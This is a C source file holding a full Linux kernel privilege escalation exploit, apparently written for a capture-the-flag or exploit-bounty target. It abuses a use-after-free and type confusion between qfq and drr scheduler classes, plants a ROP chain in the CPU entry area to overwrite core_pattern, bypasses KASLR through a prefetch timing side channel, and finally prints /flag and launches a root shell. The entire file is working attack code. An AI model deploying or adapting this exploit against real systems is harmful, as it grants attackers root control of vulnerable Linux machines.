#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sched.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <net/if.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <sys/timerfd.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <syscall.h>
#include <sys/mman.h>
#include <netinet/in.h>
#include <linux/filter.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/pkt_sched.h>
#include <linux/membarrier.h>
#include <linux/limits.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/if_packet.h>
#include <linux/veth.h>

#include <pthread.h>

#include "netlink.h"

// Where are you defined?
#define RED_STAB_SIZE 256

typedef u_int8_t u8;
typedef u_int16_t u16;
typedef u_int32_t u32;
typedef u_int64_t u64;
typedef int64_t i64;

#define LEN(x) (sizeof(x) / sizeof(x[0]))
#define ASSERT(x) ({ if (!(x)) { perror(#x); abort(); } })

#define NETLINK_SEND_CHECK(fd, nlh, max_size) do {\
		ASSERT(!netlink_send(fd, nlh)); \
		ASSERT(netlink_recv(fd, nlh, max_size) > 0); \
		ASSERT(!netlink_errno(nlh)); \
	} while(0);

// leave; jmp __x86_return_thunk (0xffffffff82605280); ret; 	c9e9a92e5f01c3
u64 leave = 0xffffffff810123d1;
// pop rax; pop rdx; jmp __x86_return_thunk (0xffffffff82605280); ret; 	585ae9ed5c3701c3
u64 pop_rax_pop_rdx = 0xffffffff8128f58c;
// mov [rdx+TMP1 (0)], rax; jmp __x86_return_thunk (0xffffffff82605280); ret; 	488902e9ed045c01c3 @1 = rax; @2 = rdx;
u64 mov_RDX_rax = 0xffffffff81044d8b;
// add rsp, TMP2 (0x0010); jmp __x86_return_thunk (0xffffffff82605280); ret; 	4883c410e975b75a01c3
u64 add_rsp_16 = 0xffffffff81059b02;

u64 msleep = 0xffffffff81232f10;
u64 core_pattern = 0xffffffff83bbace0;
u64 qdisc_leaf = 0xffffffff81e85fa0;

#define FOR_ALL_OFFSETS(x) do { \
		x(leave); \
		x(pop_rax_pop_rdx); \
		x(mov_RDX_rax); \
		x(add_rsp_16); \
		x(msleep); \
		x(core_pattern); \
		x(qdisc_leaf); \
	} while(0)

static int bypass_kaslr();

// CPU entry area pointers. We need this in order to prepare Qdisc->ops()
#define CPU_ENTRY_AREA_BASE(cpu) (0xfffffe0000001000ull + (u64)cpu * 0x3b000)
#define PAYLOAD_LOCATION(cpu) (CPU_ENTRY_AREA_BASE(cpu) + 0x1f58)

// matches struct Qdisc_ops
union cpu_entry_area_payload {
	struct {
		u64 _pad0; // need padding because cl_ops is second member and we pop
		           // once from new stack, thus make sure we can re-use next member
		           // for ROP
		struct {
			u64 __new_rbp; // overlaps with ops.cl_ops
			u64 rop0[4];
			u64 find; // long unsigned int  (*find)(struct Qdisc *, u32);
			u64 _pad; // overlaps with ops.peek
			u64 rop1[7];
		} class_ops; // struct Qdisc_class_ops
	} stage2;
	struct {
		u64 _next;
		u64 cl_ops; // pointer to stage2.class_ops
		u64 _pad[5];
		u64 peek; // struct sk_buff *  (*peek)(struct Qdisc *);
	} ops; // struct Qdisc_ops
	u64 regs[15];
};
_Static_assert(sizeof(union cpu_entry_area_payload) == 15*8, "");

inline static int _pin_to_cpu(int id) {
	cpu_set_t set;
	CPU_ZERO(&set);
	CPU_SET(id, &set);
	return sched_setaffinity(getpid(), sizeof(set), &set);
}

static void synchronize_rcu() {
  // A synchronize_rcu primitive in userspace: Original idea from https://github.com/lrh2000/StackRot
  if (syscall(__NR_membarrier, MEMBARRIER_CMD_GLOBAL, 0, -1) < 0) {
    perror("membarrier()");
  }
}

static void ip_link_set_flags(int s, int ifindex, unsigned int ifi_flags) {
    u8 buf[1024] = {0};
    struct nlmsghdr* nlh = (void*)buf;

    struct ifinfomsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = sizeof(*data) + NLMSG_HDRLEN;
    nlh->nlmsg_type = RTM_NEWLINK;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    data->ifi_family = PF_UNSPEC;
    data->ifi_type = 0;
    data->ifi_index = ifindex;
    data->ifi_flags = ifi_flags;
    data->ifi_change = 1;

    NETLINK_SEND_CHECK(s, nlh, sizeof(buf));
}

static void __setup_newqdisc_msg(struct nlmsghdr* nlh, unsigned if_index, unsigned parent, unsigned handle, const char* name) {
	struct tcmsg* data = NLMSG_DATA(nlh);
	nlh->nlmsg_len = sizeof(*data) + NLMSG_HDRLEN;
	nlh->nlmsg_type = RTM_NEWQDISC;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE;
	nlh->nlmsg_seq = 0;
	nlh->nlmsg_pid = 0;

	data->tcm_family = PF_UNSPEC;
	data->tcm_ifindex = if_index;
	data->tcm_parent = parent;
	data->tcm_handle = handle & 0xFFFF0000;

	netlink_attr_put(nlh, TCA_KIND, name, strlen(name));
}

static void __setup_newclass_msg(struct nlmsghdr* nlh, unsigned if_index, unsigned parent, unsigned handle, bool create) {
	struct tcmsg* data = NLMSG_DATA(nlh);
	nlh->nlmsg_len = sizeof(*data) + NLMSG_HDRLEN;
	nlh->nlmsg_type = RTM_NEWTCLASS;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_seq = 0;
	nlh->nlmsg_pid = 0;

	if (create)
		nlh->nlmsg_flags |= NLM_F_CREATE;

	data->tcm_family = PF_UNSPEC;
	data->tcm_ifindex = if_index;
	data->tcm_parent = parent;
	data->tcm_handle = parent | (handle & 0xFFFF);
}

static void change_drr_class(int fd, unsigned int if_index, unsigned int parent, unsigned int handle, bool create, u32 quantum) {
	u8 buf[1024] = {0};
	struct nlmsghdr* nlh = (void*)buf;
	__setup_newclass_msg(nlh, if_index, parent, handle, create);

	struct nlattr* n = netlink_nest_begin(nlh, TCA_OPTIONS);
	netlink_attr_append(n, TCA_DRR_QUANTUM, &quantum, sizeof(quantum));
	netlink_nest_end(nlh, n);

	NETLINK_SEND_CHECK(fd, nlh, sizeof(buf));
}

static void change_qfq_class(int fd, unsigned int if_index, unsigned int parent, unsigned int handle, bool create, u32 lmax) {
	u8 buf[1024] = {0};
	struct nlmsghdr* nlh = (void*)buf;

	__setup_newclass_msg(nlh, if_index, parent, handle, create);

	struct nlattr* n = netlink_nest_begin(nlh, TCA_OPTIONS);
	netlink_attr_append(n, TCA_QFQ_LMAX, &lmax, sizeof(lmax));
	netlink_nest_end(nlh, n);

	NETLINK_SEND_CHECK(fd, nlh, sizeof(buf));
}

static void delete_class(int fd, unsigned int if_index, unsigned int parent, unsigned int handle) {
	u8 buf[1024] = {0};
	struct nlmsghdr* nlh = (void*)buf;

	struct tcmsg* data = NLMSG_DATA(nlh);
	nlh->nlmsg_len = sizeof(*data) + NLMSG_HDRLEN;
	nlh->nlmsg_type = RTM_DELTCLASS;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_seq = 0;
	nlh->nlmsg_pid = 0;

	data->tcm_family = PF_UNSPEC;
	data->tcm_ifindex = if_index;
	data->tcm_parent = parent;
	data->tcm_handle = parent | (handle & 0xFFFF);

	NETLINK_SEND_CHECK(fd, nlh, sizeof(buf));
}

static void create_qdisc_drr(int fd, unsigned int if_index, unsigned int parent, unsigned int handle) {
	u8 buf[1024] = {0};
	struct nlmsghdr* nlh = (void*)buf;
	__setup_newqdisc_msg(nlh, if_index, parent, handle, "drr");
	NETLINK_SEND_CHECK(fd, nlh, sizeof(buf));
}

static void create_qdisc_qfq(int fd, unsigned int if_index, unsigned int parent, unsigned int handle) {
	u8 buf[1024] = {0};
	struct nlmsghdr* nlh = (void*)buf;
	__setup_newqdisc_msg(nlh, if_index, parent, handle, "qfq");
	NETLINK_SEND_CHECK(fd, nlh, sizeof(buf));
}

static void create_qdisc_choke(int fd, unsigned if_index, unsigned int parent, unsigned int handle, struct tc_red_qopt* opt, u8 stab[RED_STAB_SIZE]) {
	u8 buf[1024] = {0};
	struct nlmsghdr* nlh = (void*)buf;
	__setup_newqdisc_msg(nlh, if_index, parent, handle, "choke");
	struct nlattr* n = netlink_nest_begin(nlh, TCA_OPTIONS);
	netlink_attr_append(n, TCA_CHOKE_PARMS, opt, sizeof(*opt));
	netlink_attr_append(n, TCA_CHOKE_STAB, stab, RED_STAB_SIZE);
	netlink_nest_end(nlh, n);

	NETLINK_SEND_CHECK(fd, nlh, sizeof(buf));
}

static void create_qdisc_plug(int fd, unsigned if_index, unsigned int parent, unsigned int handle, struct tc_plug_qopt* opt) {
	u8 buf[1024] = {0};
	struct nlmsghdr* nlh = (void*)buf;
	__setup_newqdisc_msg(nlh, if_index, parent, handle, "plug");
	netlink_attr_put(nlh, TCA_OPTIONS, opt, sizeof(*opt));
	NETLINK_SEND_CHECK(fd, nlh, sizeof(buf));
}

// choke params that trigger the bug (we basically just need qth_min = 0)
struct tc_red_qopt choke_parms = {
	.limit = 2,
	.qth_max = 1,
	.qth_min = 0,
};
u8 stab[RED_STAB_SIZE] = {0};

// simple udp server / client socket to send packets around (per process)
static int s, c;
// address of server socket (per process)
static struct sockaddr_in addr = {};
static unsigned len = sizeof(addr);
// netlink fd (per process)
static int nfd;
// shared memory for synchronization
static volatile u8* wait_on;

static void spray_worker();

static void do_setup() {
	void* shmem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	ASSERT(shmem != MAP_FAILED);

	wait_on = shmem;

	int pid = fork();
	ASSERT(pid >= 0);

	ASSERT(!unshare(CLONE_NEWUSER | CLONE_NEWNET));

	ASSERT((nfd = netlink_open(NETLINK_ROUTE)) >= 0);
	ip_link_set_flags(nfd, if_nametoindex("lo"), IFF_UP);

	ASSERT((s = socket(AF_INET, SOCK_DGRAM, 0)) >= 0);

	addr.sin_family = AF_INET;
	addr.sin_port = 0,
	addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	ASSERT(!bind(s, (struct sockaddr*)&addr, len));
	ASSERT(!getsockname(s, (struct sockaddr*)&addr, &len));

	ASSERT((c = socket(AF_INET, SOCK_DGRAM, 0)) >= 0);

	if (pid == 0) {
		spray_worker();
		exit(0);
	}
}

static void waiter_wait(u8 x) {
	while (__atomic_load_n(wait_on, __ATOMIC_ACQUIRE) != x) {
		sched_yield();
	}
}
static void waiter_release(u8 x) {
	__atomic_store_n(wait_on, x, __ATOMIC_RELEASE);
}

static void handle_signal() {
	// Since we block the trigger cpu in kernel, we have to make sure everything
	// is still runnable and one thread is not hoarding all the cpu runtime.
	// Thus we re-use this handler to check for success.
	// This will be invoked repeatedly (because we do not resolve the fault)
	char buf[128] = {};
	int core = open("/proc/sys/kernel/core_pattern", O_RDONLY);
	ASSERT(core >= 0);
	read(core, buf, sizeof(buf));
	close(core);

	if (strncmp(buf, "|/proc/%P/exe", 13) == 0) {
		printf("success!\n");

		// reset handler to trigger core dump helper
		ASSERT(signal(SIGSEGV, SIG_DFL) != SIG_ERR);
	}
}

static void spray_worker() {
	const unsigned int lo = if_nametoindex("lo");
	const unsigned int qdisc_drr = 0x700 << 16;
	const unsigned int class_plug = 0x1000;
	const unsigned int qdisc_plug = 0x701 << 16;

	printf("[worker] create qdisc root drr ..\n");
	create_qdisc_drr(nfd, lo, TC_H_ROOT, qdisc_drr);

	// we need one class which blocks all the dequeues
	printf("[worker] create plug class %d:%d ..\n", qdisc_drr >> 16, class_plug);
	change_drr_class(nfd, lo, qdisc_drr, class_plug, true, 1);

	// attach plug qdisc to plug class ..
	printf("[worker] create qdisc plug ..\n");
	struct tc_plug_qopt plug_parms = {
		.limit = 0xffff
	};
	create_qdisc_plug(nfd, lo, qdisc_drr | class_plug, qdisc_plug, &plug_parms);

	// make plug active
	printf("[worker] sending packet to plug ..\n");
	u8 byte;
	unsigned priority = qdisc_drr | class_plug;
	ASSERT(!setsockopt(c, SOL_SOCKET, SO_PRIORITY, &priority, sizeof(priority)));
	ASSERT(sendto(c, &byte, 1, 0, (struct sockaddr*)&addr, len) == 1);

	// setup done.
	// wait to start the spray
	ASSERT(!_pin_to_cpu(1));
	waiter_wait(1);

	// now spray drr_class(es)
	ASSERT(!_pin_to_cpu(0));

	// this is the cpu where we spray the cpu_entry_area
	// we block the cpu [main] runs on in kernel to avoid any panics on exit.
	// main will trigger the payload on the other cpu (1).
	// based on testing, if main triggers on 0, the core dump helper will not run,
	// so we keep it this way around
	int cpu = 0;

	// We target a type confusion in qfq_peek_skb():
	//   *cl = list_first_entry(&agg->active, struct qfq_class, alist);
	//   skb = (*cl)->qdisc->ops->peek((*cl)->qdisc);
	// With cl being an drr_class instead of qfq_class, drr_class.next will be cl->qdisc
	// Thus we need to prepare a proper qdisc->ops pointer at
	//   &drr_class.alist + offsetof(struct Qdisc, ops) = &drr_class.quantum (and following deficit member)
	// (we spray a few classes so that drr_class.next points to another drr_class)

	// Prepare a quantum which matches the upper address part, because
	// when enqueueing the first packet to a class, drr will set
	//    class->deficit = class->quantum (see drr_enqueue)
	// This way we can easily control class->deficit. We will correct quantum later.
	u32 quantum = (u32)((PAYLOAD_LOCATION(cpu)) >> 32);

	// now the actual spray
	unsigned int cl = 1;
	for (int i = 0; i < 48; i++) {
		change_drr_class(nfd, lo, qdisc_drr, cl + i, true, quantum);
	}

	// at this point we hopefully reclaimed the target object
	// now we queue up packets to set cl->deficit = cl->quantum and write the cl->alist.next pointer
	for (int i = 0; i < 48; i++) {
		unsigned parent = qdisc_drr | (cl + i);
		ASSERT(!setsockopt(c, SOL_SOCKET, SO_PRIORITY, &parent, sizeof(parent)));
		ASSERT(sendto(c, &byte, 1, 0, (struct sockaddr*)&addr, len) == 1);
	}

	// now, set quantum to the appropriate lower pointer value
	quantum = (u32)((PAYLOAD_LOCATION(cpu)) & 0xFFFFFFFF);
	for (int i = 0; i < 48; i++) {
		change_drr_class(nfd, lo, qdisc_drr, cl + i, false, quantum);
	}

	// type confusion is set up. let parent trigger the payload

	ASSERT(!_pin_to_cpu(1));
	waiter_release(2);
	waiter_wait(3);

	ASSERT(!_pin_to_cpu(cpu));
	union cpu_entry_area_payload p = {};

	p.ops.peek = qdisc_leaf;
	p.ops.cl_ops = PAYLOAD_LOCATION(cpu) + offsetof(union cpu_entry_area_payload, stage2.class_ops);

	p.stage2.class_ops.find = leave;

	p.stage2.class_ops.rop0[0] = pop_rax_pop_rdx;
	p.stage2.class_ops.rop0[1] = *((u64*)"|/proc/%P/exe\0\0\0" + 0);
	p.stage2.class_ops.rop0[2] = core_pattern + 0;
	// 16 bytes between the two rop chain parts
	p.stage2.class_ops.rop0[3] = add_rsp_16;

	p.stage2.class_ops.rop1[0] = mov_RDX_rax;
	p.stage2.class_ops.rop1[1] = pop_rax_pop_rdx;
	p.stage2.class_ops.rop1[2] = *((u64*)"|/proc/%P/exe\0\0\0" + 1);
	p.stage2.class_ops.rop1[3] = core_pattern + 8;
	p.stage2.class_ops.rop1[4] = mov_RDX_rax;

	// rdi is sufficiently high containing a kernel pointer
	p.stage2.class_ops.rop1[5] = msleep;

	ASSERT(signal(SIGSEGV, handle_signal) != SIG_ERR);
	ASSERT(setsid() != -1);

	asm volatile (
		"mov %0, %%rsp\n"
		"pop %%r15\n"
		"pop %%r14\n"
		"pop %%r13\n"
		"pop %%r12\n"
		"pop %%rbp\n"
		"pop %%rbx\n"
		"pop %%r11\n"
		"pop %%r10\n"
		"pop %%r9\n"
		"pop %%r8\n"
		"pop %%rax\n"
		"pop %%rcx\n"
		"pop %%rdx\n"
		"pop %%rsi\n"
		"pop %%rdi\n"
		"divq (0x0)\n"
		:
		: "r"(&p)
	);

	// unreachable
	while (1) { sleep(100); }
}

int main(int argc, char* argv[]) {
	const unsigned int qdisc_qfq = 0x200 << 16;
	const unsigned int qdisc_plug = 0x201 << 16;
	const unsigned int qdisc_choke = 0x202 << 16;
	const unsigned int qdisc_dummy = 0x203 << 16;
	const unsigned int class_plug = 1;
	const unsigned int class_choke = 2;
	const unsigned int class_dummy = 3;

	// final stage. we execute ourselves as the core dump helper
	if (!getuid()) {
		pid_t pid;
		sscanf(argv[0], "/proc/%u/exe", &pid);

		int pfd = syscall(SYS_pidfd_open, pid, 0);
		int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);
		int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
		int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);
		dup2(stdinfd,0);
		dup2(stdoutfd,1);
		dup2(stderrfd,2);

		char* shell[] = {
			"/bin/sh",
			"-c",
			"/bin/cat /flag && /bin/sh",
			NULL,
		};
		execve(shell[0], shell, NULL);
		return 0;
	}

	printf("Hello World!\n");

	bypass_kaslr();

	do_setup();

	printf("[main] waiting for spray worker setup ..\n");
	sleep(1);

	const unsigned int lo = if_nametoindex("lo");
	struct tc_plug_qopt plug_parms = {
		.limit = 0xffff
	};

	ASSERT(!_pin_to_cpu(0));

	printf("[main] create qdisc root qfq ..\n");
	create_qdisc_qfq(nfd, lo, TC_H_ROOT, qdisc_qfq);

	// need plug to stack up packets in qdiscs in a reliable way
	printf("[main] create plug class %d:%d ..\n", qdisc_qfq >> 16, class_plug);
	change_qfq_class(nfd, lo, qdisc_qfq, class_plug, true, 512);

	// class needed to trigger the bug
	printf("[main] create choke class %d:%d ..\n", qdisc_qfq >> 16, class_choke);
	change_qfq_class(nfd, lo, qdisc_qfq, class_choke, true, 512);

	// need some class in order to trigger a dequeue operation
	// plug serves nicely as we can trigger it by sending a cmd to it
	printf("[main] create dummy class %d:%d ..\n", qdisc_qfq >> 16, class_dummy);
	change_qfq_class(nfd, lo, qdisc_qfq, class_dummy, true, 512);

	// (note that all classes are in the same qfq_aggregate)

	// attach plug qdisc to plug class ..
	printf("[main] create qdisc plug ..\n");
	create_qdisc_plug(nfd, lo, qdisc_qfq | class_plug, qdisc_plug, &plug_parms);

	// attach choke qdisc to choke class ..
	printf("[main] create qdisc choke ..\n");
	create_qdisc_choke(nfd, lo, qdisc_qfq | class_choke, qdisc_choke, &choke_parms, stab);

	// attach plug qdisc to dummy class
	printf("[main] create qdisc dummy ..\n");
	create_qdisc_plug(nfd, lo, qdisc_qfq | class_dummy, qdisc_dummy, &plug_parms);

	printf("[main] setup done.\n");

	unsigned priority;
	unsigned char buf[1] = {'A'};

	// prepare a packet which blocks all dequeue operations
	printf("[main] sending packet A to plug ..\n");
	priority = qdisc_qfq | class_plug;
	ASSERT(!setsockopt(c, SOL_SOCKET, SO_PRIORITY, &priority, sizeof(priority)));
	ASSERT(sendto(c, buf, 1, 0, (struct sockaddr*)&addr, len) == 1);

	// trigger the bug. sending C eventually drops B from the qdisc (choke), making it empty
	// while failing to notify the parent (qfq)
	printf("[main] sending packet B and C to choke ..\n");
	priority = qdisc_qfq | class_choke;
	ASSERT(!setsockopt(c, SOL_SOCKET, SO_PRIORITY, &priority, sizeof(priority)));
	buf[0]++;
	ASSERT(sendto(c, buf, 1, 0, (struct sockaddr*)&addr, len) == 1);
	buf[0]++;
	ASSERT(sendto(c, buf, 1, 0, (struct sockaddr*)&addr, len) == 1);

	// Sending D to dummy class. We want the dummy class to be active for later
	// to avoid list manipulations around the then UaF drr_class object
	printf("[main] sending packet D dummy ..\n");
	priority = qdisc_qfq | class_dummy;
	ASSERT(!setsockopt(c, SOL_SOCKET, SO_PRIORITY, &priority, sizeof(priority)));
	buf[0]++;
	ASSERT(sendto(c, buf, 1, 0, (struct sockaddr*)&addr, len) == 1);

	// remove the plug qdics which blocks the queue
	delete_class(nfd, lo, qdisc_qfq, class_plug);
	synchronize_rcu();

	// delete the choke class to free the struct qfq_class eventuatlly allowing a UaF
	delete_class(nfd, lo, qdisc_qfq, class_choke);
	synchronize_rcu();

	// now reclaim the struct qfq_class with a struct drr_class and cause a type confusion
	ASSERT(!_pin_to_cpu(1));
	waiter_release(1);
	// wait for spray to finish
	waiter_wait(2);

	// cpu entry area is sprayed on core 0, need to get out of the way
	ASSERT(!_pin_to_cpu(1));

	// write cpu entry area
	waiter_release(3);
	// wait for write just to be sure
	sleep(1);

	// send a packet to the dummy class to trigger a dequeue and thus our payload
	priority = qdisc_qfq | class_dummy;
	ASSERT(!setsockopt(c, SOL_SOCKET, SO_PRIORITY, &priority, sizeof(priority)));
	int ret = sendto(c, buf, 1, 0, (struct sockaddr*)&addr, len);

	// we block the CPU in kernel just to be sure. we should not return here.
	printf("payload likely failed? ret = %d\n", ret);
	while (1) { sleep(1000); }
}

// KASLR bypass
//
// This code is adapted from https://github.com/IAIK/prefetch/blob/master/cacheutils.h
//
static inline __attribute__((always_inline)) uint64_t rdtsc_begin() {
  uint64_t a, d;
  asm volatile ("mfence\n\t"
    "RDTSCP\n\t"
    "mov %%rdx, %0\n\t"
    "mov %%rax, %1\n\t"
    "xor %%rax, %%rax\n\t"
    "lfence\n\t"
    : "=r" (d), "=r" (a)
    :
    : "%rax", "%rbx", "%rcx", "%rdx");
  a = (d<<32) | a;
  return a;
}

static inline __attribute__((always_inline)) uint64_t rdtsc_end() {
  uint64_t a, d;
  asm volatile(
    "xor %%rax, %%rax\n\t"
    "lfence\n\t"
    "RDTSCP\n\t"
    "mov %%rdx, %0\n\t"
    "mov %%rax, %1\n\t"
    "mfence\n\t"
    : "=r" (d), "=r" (a)
    :
    : "%rax", "%rbx", "%rcx", "%rdx");
  a = (d<<32) | a;
  return a;
}


static void prefetch(void* p)
{
  asm volatile (
    "prefetchnta (%0)\n"
    "prefetcht2 (%0)\n"
    : : "r" (p));
}

static size_t flushandreload(void* addr) // row miss
{
  size_t time = rdtsc_begin();
  prefetch(addr);
  size_t delta = rdtsc_end() - time;
  return delta;
}

static int bypass_kaslr() {
	u64 base;

#if CI
    #define START (0xffffffff81000000ull)
    #define END (0xffffffffc0000000ull)
    #define STEP 0x0000000000200000ull
    #define NUM_TRIALS 7
    // largest contiguous mapped area at the beginning of _stext
    #define WINDOW_SIZE 11

    while (1) {
        u64 bases[NUM_TRIALS] = {0};

        for (int vote = 0; vote < LEN(bases); vote ++) {
            size_t times[(END - START) / STEP] = {};
            uint64_t addrs[(END - START) / STEP];

            for (int ti = 0; ti < LEN(times); ti++) {
                times[ti] = ~0;
                addrs[ti] = START + STEP * (u64)ti;
            }

            for (int i = 0; i < 16; i++) {
            for (int ti = 0; ti < LEN(times); ti++) {
                u64 addr = addrs[ti];
                size_t t = flushandreload((void*)addr);
                if (t < times[ti]) {
                    times[ti] = t;
                }
            }
            }

            uint64_t max = 0;
            int max_i = 0;
            for (int ti = 0; ti < LEN(times) - WINDOW_SIZE; ti++) {
                uint64_t sum = 0;
                for (int i = 0; i < WINDOW_SIZE; i++) {
                    sum += times[ti + i];
                }
                if (sum > max) {
                    max = sum;
                    max_i = ti;
                }
            }

            bases[vote] = addrs[max_i];
        }

        int c = 0;
        for (int i = 0; i < LEN(bases); i++) {
            if (c == 0) {
		            base = bases[i];
            } else if (base == bases[i]) {
		            c++;
            } else {
		            c--;
            }
        }

        c = 0;
        for (int i = 0; i < LEN(bases); i++) {
            if (base == bases[i]) {
		            c++;
            }
        }
        if (c > LEN(bases) / 2) {
            goto got_base;
        }

        printf("majority vote failed:\n");
        printf("base = %lx with %d votes\n", base, c);
    }
#else
    #define OFFSET 0
    #define START (0xffffffff81000000ull + OFFSET)
    #define END   (0xffffffffD0000000ull + OFFSET)
    #define STEP   0x0000000001000000ull

    while (1) {
        u64 bases[7] = {0};
        for (int vote = 0; vote < LEN(bases); vote ++) {
            size_t times[(END - START) / STEP] = {};
            uint64_t addrs[(END - START) / STEP];

            for (int ti = 0; ti < LEN(times); ti++) {
                times[ti] = ~0;
                addrs[ti] = START + STEP * (u64)ti;
            }

            for (int i = 0; i < 16; i++) {
            for (int ti = 0; ti < LEN(times); ti++) {
                u64 addr = addrs[ti];
                size_t t = flushandreload((void*)addr);
                if (t < times[ti]) {
                    times[ti] = t;
                }
            }
            }

            size_t minv = ~0;
            size_t mini = -1;
            for (int ti = 0; ti < LEN(times) - 1; ti++) {
                if (times[ti] < minv) {
                    mini = ti;
                    minv = times[ti];
                }
            }

            if (mini < 0) {
                return -1;
            }

            bases[vote] = addrs[mini];
        }

        int c = 0;
        for (int i = 0; i < LEN(bases); i++) {
            if (c == 0) {
                base = bases[i];
            } else if (base == bases[i]) {
                c++;
            } else {
                c--;
            }
        }

        c = 0;
        for (int i = 0; i < LEN(bases); i++) {
            if (base == bases[i]) {
                c++;
            }
        }
        if (c > LEN(bases) / 2) {
            base -= OFFSET;
            goto got_base;
        }

        printf("majority vote failed:\n");
        printf("base = %lx with %d votes\n", base, c);
    }
#endif

got_base:
    printf("using kernel base %lx\n", base);

    i64 diff = 0xffffffff81000000 - base;
    printf("diff: %ld\n", diff);

    #define x(name) { name -= diff; printf("corrected %s to %lx\n", #name, name); }
    FOR_ALL_OFFSETS(x);
    #undef x

    return 0;
}
